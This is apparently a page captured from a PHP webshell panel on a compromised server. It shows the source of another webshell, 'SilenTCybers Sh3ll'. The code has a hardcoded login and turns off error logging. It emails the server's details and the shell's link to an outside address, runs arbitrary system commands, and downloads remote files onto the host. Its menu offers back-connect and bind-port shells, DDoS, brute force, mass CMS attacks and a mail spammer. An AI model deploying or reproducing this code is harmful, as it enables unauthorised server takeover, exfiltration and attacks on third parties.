403Webshell
Server IP : 81.2.241.106  /  Your IP : 216.73.216.165
Web Server : Apache/2.4.67 (Debian)
System : Linux tranq-f.bakta.org 5.10.0-45-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : lisky ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/xfer/from_smeagol/root/hack/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/xfer/from_smeagol/root/hack/silentshell.php
<?php // This file is protected by MR.VIPER
eval (base64_decode("


// Set Username & Password
$user = "viper";
$pass = "viper";
@define('VERSION','1.1');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);

if(get_magic_quotes_gpc()) {
	function yemenstripslashes($array) {
		return is_array($array) ? array_map('yemenstripslashes', $array) : stripslashes($array);

	}

	$_POST = yemenstripslashes($_POST);

}
function printLogin() {
    ?>
	

<hr>
<?php }


if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
    {
         setcookie("hacked", md5($pass));
		 $selfenter = $_SERVER["PHP_SELF"];
		 header("Location:$selfenter");
	}
}
		
if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
{
		
?>
<font size="6" face="Times New Roman, Times, serif" color="#00CC00"><br>
<head>
    <title>SilenTCybers-sh3ll Login Panel</title>
	<link href="http://www.aljyyosh.com/images/ps.gif" rel="shortcut icon">
    <link href="http://siverdragon12.net/css/style.css" rel="stylesheet" type="text/css" />
<script src="http://siverdragon12.net/js/form-elements.js" type="text/javascript"></script>
</head>
	<center>
	<form method="POST">
	<div style="background-color:#3ca0df; width:490px; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:304px; background-image:url('Windows_7_-_Alien_from_outer_space.jpg')">
		<table cellpadding="9" cellspacing="4" height="278">
			<tr>
				<td align="center" colspan="2"><font size="7"><b>
				<font color="#FF0000">SilenT</font><font color="#FFFFFF">Cyb</font>ers
				<font color="#FF0000">Sh3ll</font> :) </b></font></td>
			</tr>
			<tr>
				<td align="right"><b>User Name : </b></td>
				<td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;"  value="User Name" onFocus="if (this.value == 'User Name'){this.value='User Name'; this.style.color='black';}" onBlur="if (this.value == 'User Name') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
			</tr>
			<tr>
				<td align="right"><b>Password : </b></td>
				<td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;"  value="YeMeN" onFocus="if (this.value == 'YeMeN'){this.value='YeMeN'; this.style.color='black';}" onBlur="if (this.value == 'YeMeN') {this.value='YeMeN'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
			</tr>
			<tr>
				<td align="center" colspan="2"><input type="submit" class="but" value="     Enter     "></td>
			</tr>
			<tr>
					</tr>
		</table>
	</div>
	
	</form>
	</center>
<br>
<body bgcolor="#000000">
</body>
</html>

<?php
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ($_POST['pass'] == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();

		
$IIIIIIIIIIII='mrviperps@gmail.com';
$IIIIIIIIIIIl='WebRooT Logger';
$IIIIIIIIIII1='File path : '.$_SERVER['DOCUMENT_ROOT']."\r\n";
$IIIIIIIIIII1.='Server Admin : '.$_SERVER['SERVER_ADMIN']."\r\n";
$IIIIIIIIIII1.='Operating System : '.$_SERVER['SERVER_SOFTWARE']."\r\n";
$IIIIIIIIIII1.='Shell Link : http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\r\n";
$IIIIIIIIIII1.='Avlanan Site : '.$_SERVER['HTTP_HOST']."\r\n";
mail($IIIIIIIIIIII,$IIIIIIIIIIIl,$IIIIIIIIIII1);
;echo ' 
';
echo ' ';

$default_action = 'FilesMan';

$default_use_ajax = true;

$default_charset = 'Windows-1251';

if (strtolower(substr(PHP_OS,0,3))=="win")

    $sys='win';
 else
    $sys='unix';
$home_cwd = @getcwd();

if(isset($_POST['c']))

	@chdir($_POST['c']);   
$cwd = @getcwd();

if($sys == 'win') 

{

    $home_cwd = str_replace("\\", "/", $home_cwd);

	$cwd = str_replace("\\", "/", $cwd);

}

if($cwd[strlen($cwd)-1] != '/' )

	$cwd .= '/';

function yemenEx($in) {

	$out = '';
	if (function_exists('exec')) {

		@exec($in,$out);

		$out = @join("\n",$out);

	} elseif (function_exists('passthru')) {

		ob_start();

		@passthru($in);

		$out = ob_get_clean();

	} elseif (function_exists('system')) {

		ob_start();

		@system($in);

		$out = ob_get_clean();

	} elseif (function_exists('shell_exec')) {

		$out = shell_exec($in);

	} elseif (is_resource($f = @popen($in,"r"))) {

		$out = "";

		while(!@feof($f))

			$out .= fread($f,1024);

		pclose($f);

	}

	return $out;

}

$down=@getcwd();

if($sys=="win")

$down.='\\';

else

$down.='/';

if(isset($_POST['rtdown']))
{

$url = $_POST['rtdown'];

$newfname = $down. basename($url);

$file = fopen ($url, "rb");

if ($file) {

  $newf = fopen ($newfname, "wb");

  if ($newf)

  while(!feof($file)) {

    fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );

  }

  }
if ($file) {

  fclose($file);

}

if ($newf) {

  fclose($newf);

}

}
function yemenhead()
{

    if(empty($_POST['charset']))

		$_POST['charset'] = $GLOBALS['default_charset'];

 

$freeSpace = @diskfreespace($GLOBALS['cwd']);

$totalSpace = @disk_total_space($GLOBALS['cwd']);

$totalSpace = $totalSpace?$totalSpace:1;        

$on="<font color=#0F0> ON </font>";

$of="<font color=red> OFF </font>";

$none="<font color=#0F0> NONE </font>";   

if(function_exists('curl_version'))

    $curl=$on;

else

    $curl=$of;

if(function_exists('mysql_get_client_info'))

    $mysql=$on;

 else

    $mysql=$of;      

if(function_exists('mssql_connect'))

    $mssql=$on;

else

   $mssql=$of; 

if(function_exists('pg_connect'))

    $pg=$on;

else

   $pg=$of;    		

if(function_exists('oci_connect'))

   $or=$on;

else

   $or=$of;

if(@ini_get('disable_functions'))

  $disfun=@ini_get('disable_functions');

else

$disfun="All Functions Enable";

if(@ini_get('safe_mode'))

$safe_modes="<font color=red>ON</font>";

else

$safe_modes="<font color=#0F0 >OFF</font>";

if(@ini_get('open_basedir'))

$open_b=@ini_get('open_basedir');

    else

  $open_b=$none;

if(@ini_get('safe_mode_exec_dir'))

$safe_exe=@ini_get('safe_mode_exec_dir');

    else

$safe_exe=$none;

if(@ini_get('safe_mode_include_dir'))

   $safe_include=@ini_get('safe_mode_include_dir'); 

else

 $safe_include=$none;

if(!function_exists('posix_getegid')) 

{

		$user = @get_current_user();

		$uid = @getmyuid();

		$gid = @getmygid();

		$group = "?";

} else 

{

		$uid = @posix_getpwuid(posix_geteuid());

		$gid = @posix_getgrgid(posix_getegid());

		$user = $uid['name'];

		$uid = $uid['uid'];

		$group = $gid['name'];

		$gid = $gid['gid'];

	}





     $cwd_links = '';

	$path = explode("/", $GLOBALS['cwd']);

	$n=count($path);

	for($i=0; $i<$n-1; $i++) {

		$cwd_links .= "<a  href='#' onclick='g(\"FilesMan\",\"";

		for($j=0; $j<=$i; $j++)

			$cwd_links .= $path[$j].'/';

		$cwd_links .= "\")'>".$path[$i]."/</a>";

	}



$drives = "";

foreach(range('c','z') as $drive)

if(is_dir($drive.':\\'))

$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';











 echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>SilenTCybers Sh3ll v1.0</title>
<link href="http://www.aljyyosh.com/images/ps.gif" rel="shortcut icon">
<style type="text/css">

<!--

.whole {

	

	height:auto;

	width: auto;

	margin-top: 10px;

	margin-right: 10px;

	margin-left: 10px;
    background-image: url(http://img01.arabsh.com/uploads/image/2015/04/12/0c3e454d61f10d.jpg);

}

.header {

	height: auto;

	width: auto;

	border: 7px solid #CCC;

	color: yellow;

	font-size: 12px;

	font-family: Verdana, Geneva, sans-serif;

	

}

.header a {color:#0F0; text-decoration:none;}

span {

	font-weight: bolder;

	color: #FFF;

}

#meunlist {

	font-family: Verdana, Geneva, sans-serif;

	color: #FFF;

	background-color: #000;

	width: auto;

	border-right-width: 7px;

	border-left-width: 7px;

	border-top-style: solid;

	border-right-style: solid;

	border-bottom-style: solid;

	border-left-style: solid;

	border-top-color: #CCC;

	border-right-color: #CCC;

	border-bottom-color: #CCC;

	border-left-color: #CCC;

	height: auto;

	font-size: 12px;

	font-weight: bold;

	border-top-width: 0px;

}

  .whole #meunlist ul {

	padding-top: 5px;

	padding-right: 5px;

	padding-bottom: 7px;

	padding-left: 2px;

	text-align:center;

	list-style-type: none;

	margin: 0px;

}

  .whole #meunlist li {

	margin: 0px;

	padding: 0px;

	display: inline;

}

  .whole #meunlist a {

    font-family: arial, sans-serif;

	font-size: 14px;

	text-decoration:none;

	font-weight: bold;

	color: #fff;

	clear: both;

	width: 100px;

	margin-right: -6px;

	padding-top: 3px;

	padding-right: 15px;

	padding-bottom: 3px;

	padding-left: 15px;

	border-right-width: 1px;

	border-right-style: solid;

	border-right-color: #FFF;

}

  .whole #meunlist a:hover {

	color: #000;

	background: #fff;

}




a:hover        { background:#ff0000; } 
    .ml1        { border:1px solid #2438CF;padding:5px;margin:0;overflow: auto; } 
    .bigarea    { width:100%;height:250px; }
    input, textarea, select    { margin:0;color:#FF0000;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Times New roman"; } 
    form        { margin:0px; } 
    #toolsTbl    { text-align:center; } 
    .toolsInp    { width: 80%; } 
    .main th    {text-align:left;} 
    .main tr:hover{background-color:#FF0000;} 
    .main td, th{vertical-align:middle;} 
    pre            {font-family:Courier,Monospace;} 
    #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);} 
}';

if(is_writable($GLOBALS['cwd']))

 {

    echo ".foottable {

    width: 300px;

    font-weight: bold;

    }";}

    else

    {

       echo ".foottable {

    width: 300px;

    font-weight: bold;

    background-color:red;

    }

    .dir {

      background-color:red;  

    }

    "; 

    }    

 echo '.main th{text-align:left;}

 .main a{color: #FFF;}

 .main tr:hover{background-color:red;}

 .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }

 .bigarea{ width:99%; height:300px; }   

  </style>



';



echo "<script>

    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';

    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'

    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';

    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';

    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';

    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';

    var d = document;

	function set(a,c,p1,p2,p3,charset) {

		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;

		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;

		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;

		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;

		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;

		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;

	}

	function g(a,c,p1,p2,p3,charset) {

		set(a,c,p1,p2,p3,charset);

		d.mf.submit();

	}</script>";



    

	echo '

</head>



<body bgcolor="#000000"  leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">

<div class="whole">

<form method=post name=mf style="display:none;">

<input type=hidden name=a>

<input type=hidden name=c>

<input type=hidden name=p1>

<input type=hidden name=p2>

<input type=hidden name=p3>

<input type=hidden name=charset>

</form>

  <div class="header"><table width="100%" border="0"  align="lift">

  <tr>

    <td width="3%"><span>Uname:</span></td>

    <td colspan="2">'.substr(@php_uname(), 0, 120).'</td>

    </tr>

  <tr>

    <td><span>User:</span></td>

    <td>'. $uid . ' [ ' . $user . ' ] <span>   Group: </span>' . $gid . ' [ ' . $group . ' ] </td>

    <td width="14%" rowspan="8"><img alt="" src="http://www.m5zn.com/img/?img=69f5dbaddb3acf7.png" /></td>

  </tr>

  <tr>

    <td><span>PHP:</span></td>

    <td>'.@phpversion(). '   <span>   Safe Mode:'.$safe_modes.'</span></td>

    </tr>

  <tr>

    <td><span>IP:</span></td>

    <td>'.@$_SERVER["SERVER_ADDR"].'    <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td>

  </tr>

  <tr>

    <td><span>WEBS:</span></td>

    <td width="76%">';

    

    if($GLOBALS['sys']=='unix')

    {

        $d0mains = @file("/etc/named.conf");

        if(!$d0mains)

        {

            echo "CANT READ named.conf";

        }

        else

        {

          $count;  

         foreach($d0mains as $d0main)

         {

          if(@ereg("zone",$d0main))

          {

          preg_match_all('#zone "(.*)"#', $d0main, $domains);

           flush();

          if(strlen(trim($domains[1][0])) > 2){

         flush();

         $count++;

           } 

           }

           }

           echo "$count  Domains";

        }

    }

    else{ echo"CANT READ |Windows|";}

    

      echo '</td>

    </tr>

    <tr>

    <td height="16"><span>HDD:</span></td>

    <td>'.yemenSize($totalSpace).' <span>Free:</span>' . yemenSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td>

    </tr>';

  

     if($GLOBALS['sys']=='unix' )

{

    if(!@ini_get('safe_mode'))

    {

    

    echo '<tr><td height="18" colspan="2"><span>Useful : </span>';

    $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');

     foreach($userful as $item)

         if(yemenWhich($item))

         echo $item.',';

         echo '</td>

         </tr>

          <tr>

          <td height="0" colspan="2"><span>Downloader:</span>';

         

     $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');

      foreach($downloaders as $item2)

       if(yemenWhich($item2))

        echo $item2.',';

        echo '</td>

              </tr>';

         

          }

           else 

           {

         echo '<tr><td height="18" colspan="2"><span>useful:</span>'; 

         echo '--------------</td>

           </tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>

              </tr>';  

         }

}

else

{

   echo '<tr><td height="18" colspan="2"><span>Window:</span>';

   echo yemenEx('ver');

   

    

}  

    

 

 echo '<tr>

    <td height="5" colspan="2"><span>Disabled functions:</span>'.$disfun.'</td>

  </tr>

  <tr>

    <td height="16" colspan="2"><span>cURL:'.$curl.'  MySQL:'.$mysql.'  MSSQL:'.$mssql.'  PostgreSQL:'.$pg.'  Oracle: </span>'.$or.'</td><td width="15%"></td>

  </tr>

  <tr>

  <td height="11" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.'   Safe_mode_include_dir:'.$safe_include.'</td>

  </tr>

  <tr>

    <td height="11"><span>Server </span></td>

    <td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td>

  </tr>';

  if($GLOBALS[sys]=="win")

  {

    echo '<tr>

    <td height="12"><span>DRIVE:</span></td>

    <td colspan="2">'.$drives.'</td>

     </tr>';

  }

  

  echo '<tr>

    <td height="12"><span>PWD:</span></td>

    <td colspan="2">'.$cwd_links.'  <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td>

  </tr>

  </table>

</div>

 <div id="menu-box">

<style type="text/css">
div#menu {height:41px;background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-bg.png) repeat-x;}div#menu ul {margin:0;padding:0;list-style:none;float:left;}div#menu ul.menu {padding-left:30px;}div#menu li {position:relative;z-index:9;margin:0;padding:0 5px 0 0;display:block;float:left;}div#menu li:hover>ul {left:-2px;}div#menu a {position:relative;z-index:10;height:41px;display:block;float:left;line-height:41px;text-decoration:none;font:normal 12px Trebuchet MS;}div#menu a:hover, div#menu a:hover span {color:#fff;}div#menu li.current a {}div#menu span {display:block;cursor:pointer;background-repeat:no-repeat;background-position:95% 0;}div#menu ul ul a.parent span {background-position:95% 8px;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer.gif);}div#menu ul ul a.parent:hover span {background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer-mover.gif);}div#menu a {padding:0 10px 0 10px;line-height:30px;color:#e5e5e5;}div#menu span {margin-top:5px;}div#menu li {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-delimiter.png) 98% 4px no-repeat;}div#menu li.last {background:none;}div#menu ul ul li {background:none;}div#menu ul ul {position:absolute;top:38px;left:-999em;width:163px;padding:5px 0 0 0;background:rgb(45,45,45);margin-top:1px;}div#menu ul ul a {padding:0 0 0 15px;height:auto;float:none;display:block;line-height:24px;color:rgb(169,169,169);}div#menu ul ul span {margin-top:0;padding-right:15px;_padding-right:20px;color:rgb(169,169,169);}div#menu ul ul a:hover span {color:#fff;}div#menu ul ul li.last {background:none;}div#menu ul ul li {width:100%;}div#menu ul ul ul {padding:0;margin:-38px 0 0 163px !important;margin-left:172px;}div#menu ul ul ul {background:rgb(41,41,41);}div#menu ul ul ul ul {background:rgb(38,38,38);}div#menu ul ul ul ul {background:rgb(35,35,35);}div#menu li.back {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat right -44px !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);width:13px;height:44px;z-index:8;position:absolute;margin:-1px 0 0 -5px;}div#menu li.back .left {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat top left !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);height:44px;margin-right:8px;}
</style>
<div id="menu"><ul class="menu">

 

<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>


<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">SYSTEM</a></li>

<li><a href="#">PHP</a>
<ul>
    <li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
        <li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
        </ul>

<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
<li><a href="#" onclick="g(\'brute\',null,\'\',\'\',\'\')">Ftp BRUTE</a></li>

<li><a href="#">NETWORK</a>
<ul>
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">BACK CONNECT</a></li>
<li><a href="#" onclick="g(\'net\',null,\'\',\'\',\'\')">BIND PORT</a></li>
</ul>
<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>


<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>

<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
<li><a href="#" onclick="g(\'wp\',null,\'\',\'\',\'\')">Mass Wpress</a></li>
<li><a href="#" onclick="g(\'joom\',null,\'\',\'\',\'\')">Mass Joomla</a></li>
<li><a href="#" onclick="g(\'perl\',null,\'\',\'\',\'\')">Perl Sh3ll</a></li>
<li><a href="#" onclick="g(\'zone\',null,\'\',\'\',\'\')">Zone-H</a></li>
<li><a href="#">TOOLS</a>
<ul>
            <li><a href="#" onclick="g(\'bf\',null,\'\',\'\',\'\')">Brute Force</a></li>
          <li><a href="#" onclick="g(\'rev\',null,\'\',\'\',\'\')">Reverse IP</a></li>
          <li><a href="#" onclick="g(\'zip\',null,\'\',\'\',\'\')">ZIP</a></li>
          <li><a href="#" onclick="g(\'mail\',null,\'\',\'\',\'\')">Mail Spammer</a></li>
		  <li><a href="#" onclick="g(\'rev\',null,\'\',\'\',\'\')">Bypass Users</a></li>
		  <li><a href="#" onclick="g(\'rev\',null,\'\',\'\',\'\')">Bypass /etc/passwd</a></li>
		  <li><a href="#" onclick="g(\'wk3\',null,\'\',\'\',\'\')">Whcms Killer</a></li>
        </ul>

<li><a href="#" onclick="g(\'yemen\',null,\'\',\'\',\'\')">ABOUT</a></li>

</ul>

    

    </div>

';   

    

}
function yemenfooter() { 
    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>"; 
?> 
</div> 
<table class=info id=toolsTbl cellpadding=5 cellspacing=5 width=100%"> 
    <tr> 
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td> 
        <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td> 
    </tr> 
    <tr> 
        <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td> 
        <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td> 
   
    </tr> 
    <tr> 
</form>";
        <td><form onsubmit="g('proc',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td> 
        <td><form method='post' ENCTYPE='multipart/form-data'> 
        <input type=hidden name=a value='FilesMAn'> 
        <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'> 
        <input type=hidden name=p1 value='uploadFile'> 
        <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> 
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td> 
    </tr> 

</table> 
</div> 
</body></html>
<?
}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {

   function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {

  function posix_getgrgid($p) {return false;} }
function yemenWhich($p) {

	$path = yemenEx('which ' . $p);

	if(!empty($path))

		return $path;

	return false;

}
function yemenSize($s) {

	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else

		return $s . ' B';

}
function yemenPerms($p) {

	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';

	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;

}
function yemenPermsColor($f) {

	if (!@is_readable($f))
		return '<font color=#FF0000>' . yemenPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . yemenPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . yemenPerms(@fileperms($f)) . '</font>';

}
if(!function_exists("scandir")) {

	function scandir($dir) {

		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh)))
    		$files[] = $filename;
		return $files;

	}

}
function yemenFilesMan() {

	yemenhead();
    echo '<div class=header><script>p1_=p2_=p3_="";</script>';

	if(!empty($_POST['p1'])) {

		switch($_POST['p1']) {

			case 'uploadFile':

				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))

					echo "Can't upload file!";

				break;

			case 'mkdir':

				if(!@mkdir($_POST['p2']))

					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {

					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )

							continue;

						$type = filetype($item);

						if ($type == "dir")

							deleteDir($item);

						else

							@unlink($item);

					}

					closedir($dh);

					@rmdir($path);

				}

				if(is_dir(@$_POST['p2']))

				deleteDir(@$_POST['p2']);

				else

				@unlink(@$_POST['p2']);

				break;

		default:

                if(!empty($_POST['p1'])) {

					$_SESSION['act'] = @$_POST['p1'];
					$_SESSION['f'] = @$_POST['f'];
					foreach($_SESSION['f'] as $k => $f)
						$_SESSION['f'][$k] = urldecode($f);
					$_SESSION['c'] = @$_POST['c'];

				}

				break;

		}

	}

	$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);

	if($dirContent === false) {	echo '<h3><span>|  Access Denied! |</span></h3></div>';yemenFooter(); return; }

	global $sort;

	$sort = array('name', 1);

	if(!empty($_POST['p1'])) {

		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))

			$sort = array($match[1], (int)$match[2]);

	}

echo "

<table width='100%' class='main' cellspacing='0' cellpadding='2'  >
<form name=files method=post><tr><th>Name</th><th>Size</th><th>Date Modified</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
	$dirs = $files = array();

	$n = count($dirContent);

	for($i=0;$i<$n;$i++) {

		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],

					 'path' => $GLOBALS['cwd'].$dirContent[$i],

					 'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => yemenPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])

					);

		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))

			$files[] = array_merge($tmp, array('type' => 'file'));

		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))

			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));

		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))

			$dirs[] = array_merge($tmp, array('type' => 'dir'));

	}

	$GLOBALS['sort'] = $sort;

	function wsoCmp($a, $b) {

		if($GLOBALS['sort'][0] != 'size')

			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);

		else

			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);

	}

	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);

	$l = 0;

	foreach($files as $f) {

		echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?yemenSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']

